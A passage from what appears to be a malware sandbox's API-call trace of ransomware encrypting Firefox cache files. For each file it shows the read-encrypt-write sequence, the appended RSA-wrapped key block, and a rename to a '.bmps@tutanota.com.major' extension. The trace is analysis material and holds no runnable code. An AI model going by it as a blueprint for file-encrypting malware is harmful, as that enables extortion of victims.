lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.096] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0287.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0287.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0287.096] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0287.096] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.096] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5wZ+/kESJCejtfzlJBpH+EpBS3iHbz/OpF3L6lr2zo2W3YVdDy5z/5nMmOYvviuo\nrQ+igp/dYBqd2lEiRGrQ2aEcDEH1pmrhDeKDrODcyd83V6LPxhkiJHhak27C1liB\nmNpOZJvIUwZpDI11eqdBMiv5TZM7dxXHC7ZlBzArDnWn292XocvTpJnMFdSS70io\niJtNYNOnbto87CrUk1nx/QbXqnBcUfgQPX/6NGDVwKbvL0TrMf8+TJT9qjbGC4PC\nNmmjL7Nnr7yc86BhxqBkaW5klHsn0pRUzMYf53yfLeTWcMq0htJPMp25DE5bOvQ0\nbyHolHAn4fkZEF5+ctGgtA==\n", pcchString=0x2e3f9a8) returned 1 [0287.097] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.097] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.097] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.097] CloseHandle (hObject=0x1b84) returned 1 [0287.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.098] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0287.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f824f0 | out: hHeap=0x570000) returned 1 [0287.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83570 | out: hHeap=0x570000) returned 1 [0287.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f821d8 [0287.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0287.104] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.104] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", dwFileAttributes=0x80) returned 1 [0287.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81890 [0287.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81890 | out: hHeap=0x570000) returned 1 [0287.104] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.105] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3885) returned 1 [0287.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf2d) returned 0x3446048 [0287.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf2d) returned 0x3437008 [0287.105] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0287.159] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.159] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0287.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0287.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0287.160] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf2d [0287.160] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.160] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DDt16OYUx3aXxJ9lsN4VMW+Eoe13sYnp2iYGYp0HWqBWAmE0ZyEe0ngyO2/L+4Qy\ns7FhB1cbCmWhAqe0w7wjqMP33cnyoQxIkXweg8gJYsGCgDy3wlDkE+1/ap639amA\nEILZRWxOp1z8iGPwkIaiYjo2YFxfI0Io1I88mYjbykqkxRRNX8/8jTcAKK0h1Y+b\nFeHIpYNSp1h5EHysXAXS0IbEiAnuG8d60/DclUjeV4RV4mX7n2XAxnaP4nlgwNtH\nkVElHxW4I4MccpILyIqFS6+NgEyQnH03Vh3mVsPl4hFUL8Gq5eWncYyC8Wrtngtt\nQxCpUm+RwnSWb++4OxYbhg==\n", pcchString=0x2e3f9a8) returned 1 [0287.160] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.161] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.161] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.161] CloseHandle (hObject=0x1b84) returned 1 [0287.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.161] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0287.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f821d8 | out: hHeap=0x570000) returned 1 [0287.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81ec0 | out: hHeap=0x570000) returned 1 [0287.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82a18 [0287.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0287.163] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.164] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", dwFileAttributes=0x80) returned 1 [0287.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f823e8 [0287.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.164] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f823e8 | out: hHeap=0x570000) returned 1 [0287.164] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.165] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3585) returned 1 [0287.165] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe01) returned 0x3446048 [0287.165] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe01) returned 0x3437008 [0287.165] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe01, lpOverlapped=0x0) returned 1 [0287.198] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.198] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe01, lpOverlapped=0x0) returned 1 [0287.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0287.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0287.199] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe01 [0287.199] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.199] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.199] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.199] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.199] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4ubhiIOTAJblqq6eqPaqtJAESQjeexfT4e7tGdUPD6y4DgRrneDlA0hWvL5vntlP\np6Kfy0Y2blEeiP0OnfU602n+hFfrm4RN2jH1LYFSVlln7zFqiNvSpt7CbiYnSGKy\nznf3v5b5eKy/PjDd2PeOhVHHBcaasANhjtIaxgiNbME7w4L/P9wm2vv2oBQMUmq3\nBrgSAp14v4GVm3drWnWTv4THZ8DhTlXzGU/5ionYXzS5UlOuqkltRrwX1XLfPhfw\nohZy2qpCLnoIJioOxbrVJIJ4uXGJAu3CoL0OP5i0dydv2VtaB932cfXCwgjtDIIQ\nSW9jvMwiHMQFkQaW7u/yfw==\n", pcchString=0x2e3f9a8) returned 1 [0287.200] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.200] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.200] CloseHandle (hObject=0x1b84) returned 1 [0287.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.200] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0287.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82a18 | out: hHeap=0x570000) returned 1 [0287.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81db8 | out: hHeap=0x570000) returned 1 [0287.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65ad68 [0287.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0287.203] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.203] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", dwFileAttributes=0x80) returned 1 [0287.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65a528 [0287.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65a528 | out: hHeap=0x570000) returned 1 [0287.203] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.204] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4071) returned 1 [0287.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe7) returned 0x2f81868 [0287.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe7) returned 0x2f82858 [0287.204] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0xfe7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0xfe7, lpOverlapped=0x0) returned 1 [0287.206] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.206] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f82858*, nNumberOfBytesToWrite=0xfe7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f82858*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfe7, lpOverlapped=0x0) returned 1 [0287.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0287.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82858 | out: hHeap=0x570000) returned 1 [0287.206] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfe7 [0287.206] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.206] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.207] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.207] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.207] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.207] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1g7xY32SWLC69SJ64FHUZZMw5dc/OetA7Ef/VPmJHrUX3LKbS9LI36p3vllQ8G5h\n/Lyp4CGGOS5THs3uyleE0Hm9z8WV7MKvf+Wfz9WXjd/MrPlkd/KJJWfYpEBe/OH3\nT3WpXjG+PruIV3BMtU4cXYKWW3CEAbOvLQcx5MXj+5qNuwhaLb0QEC7VCIFD6PjG\nw4tJObyNCxwG8ZeulI2zu6gpJSCePE/cZZTyA7bGEdphsmJii9GxhWI/juJRmB33\ntbwRxoCW1mM3NXns1iBP8tRWvViO8AYAxyGckoNd7HDDdiwZizqfypyxxUrQvIBO\n9NwK/0c92cz7Jk1zm4Hzmw==\n", pcchString=0x2e3f9a8) returned 1 [0287.207] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.207] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.208] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.208] CloseHandle (hObject=0x1b84) returned 1 [0287.208] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.208] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0287.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ad68 | out: hHeap=0x570000) returned 1 [0287.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2558 | out: hHeap=0x570000) returned 1 [0287.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2558 [0287.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0287.349] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.349] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", dwFileAttributes=0x80) returned 1 [0287.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65ad68 [0287.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ad68 | out: hHeap=0x570000) returned 1 [0287.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), 